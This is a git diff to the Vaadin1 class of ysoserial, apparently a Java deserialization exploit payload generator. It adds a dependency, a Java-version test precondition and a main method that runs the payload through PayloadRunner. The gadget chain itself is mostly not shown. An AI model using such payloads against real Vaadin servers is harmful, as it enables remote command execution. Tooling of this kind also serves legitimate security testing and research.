diff --git a/src/main/java/ysoserial/payloads/Vaadin1.java b/src/main/java/ysoserial/payloads/Vaadin1.java index 0aae5dd..1d74d06 100644 --- a/src/main/java/ysoserial/payloads/Vaadin1.java +++ b/src/main/java/ysoserial/payloads/Vaadin1.java @@ -7,10 +7,14 @@ import com.vaadin.data.util.PropertysetItem; import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.Dependencies; +import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.util.Gadgets; +import ysoserial.payloads.util.JavaVersion; +import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.Reflections; -@Dependencies ( { "com.vaadin:vaadin-server:7.7.14" }) +@Dependencies ( { "com.vaadin:vaadin-server:7.7.14", "com.vaadin:vaadin-shared:7.7.14" }) +@PayloadTest ( precondition = "isApplicableJavaVersion") @Authors({ Authors.KULLRICH }) public class Vaadin1 implements ObjectPayload { @@ -50,9 +54,8 @@ public class Vaadin1 implements ObjectPayload // | v | // | TemplatesImpl.getOutputProperties() | // | | -// | | -// | | // +------------------------------------------------+ + @Override public Object getObject (String command) throws Exception { @@ -68,4 +71,12 @@ public class Vaadin1 implements ObjectPayload return b; } + public static boolean isApplicableJavaVersion() { + return JavaVersion.isBadAttrValExcReadObj(); + } + + public static void main(final String[] args) throws Exception { + PayloadRunner.run(Vaadin1.class, args); + } + }